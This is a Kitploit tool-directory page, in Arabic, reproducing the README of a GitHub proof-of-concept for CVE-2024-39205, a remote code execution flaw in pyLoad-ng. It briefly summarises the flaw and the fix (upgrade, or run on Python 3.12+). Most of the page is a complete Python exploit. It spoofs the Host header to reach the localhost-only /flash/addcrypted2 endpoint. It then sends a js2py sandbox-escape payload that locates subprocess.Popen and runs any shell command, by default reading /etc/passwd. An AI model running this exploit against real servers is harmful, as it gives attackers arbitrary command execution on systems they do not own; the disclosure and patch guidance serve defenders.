Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/marven11/cve-2024-39205-pyload-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubmarven11/cve-2024-39205-pyload-rce

CVE-2024-39205-Pyload-RCE

Pyload RCE مع الهروب من بيئة js2py المعزولة

عرض المستودع
183منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-39205-Pyload-RCE

ثغرة تنفيذ الأوامر عن بُعد (RCE) في Pyload عبر الهروب من بيئة js2py المعزولة

الملخص

أي نسخة من pyload-ng تعمل على بايثون 3.11 أو أقل تكون عرضة لثغرة تنفيذ الأوامر عن بُعد (RCE). يمكن للمهاجم إرسال طلب يحتوي على أي أمر شل وسيقوم الخادم المستهدف بتنفيذه فورًا.

الإصلاح

قم بترقية pyload-ng إلى أحدث إصدار، أو شغّل pyload باستخدام بايثون 3.12 أو أحدث.

التفاصيل

تحتوي js2py على ثغرة هروب من بيئة العزل (Sandbox Escape) مُسجَّلة باسم CVE-2024-28397، وهي مُستخدَمة من قِبل نقطة نهاية الـ API المسماة /flash/addcrypted2 في pyload-ng. على الرغم من أن هذه النقطة صُمِّمت لقبول اتصالات localhost فقط، يمكننا تجاوز هذا القيد باستخدام ترويسة HTTP (HTTP Header)، وبالتالي الوصول إلى هذه الواجهة وتحقيق تنفيذ الأوامر عن بُعد (RCE).

PoC

يُقدَّم إثبات المفهوم (PoC) أدناه، ويمكنك تعديل أمر الشل الذي ينفذه:

root@kitploit:~
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


التأثير

أي شخص يشغّل أحدث إصدار (<=0.5.0b3.dev85) من pyload-ng على بايثون 3.11 أو أقل. لا يستخدم pyload-ng مكتبة js2py على بايثون 3.12 أو أحدث.

الروابط

https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g

تنزيل الأداة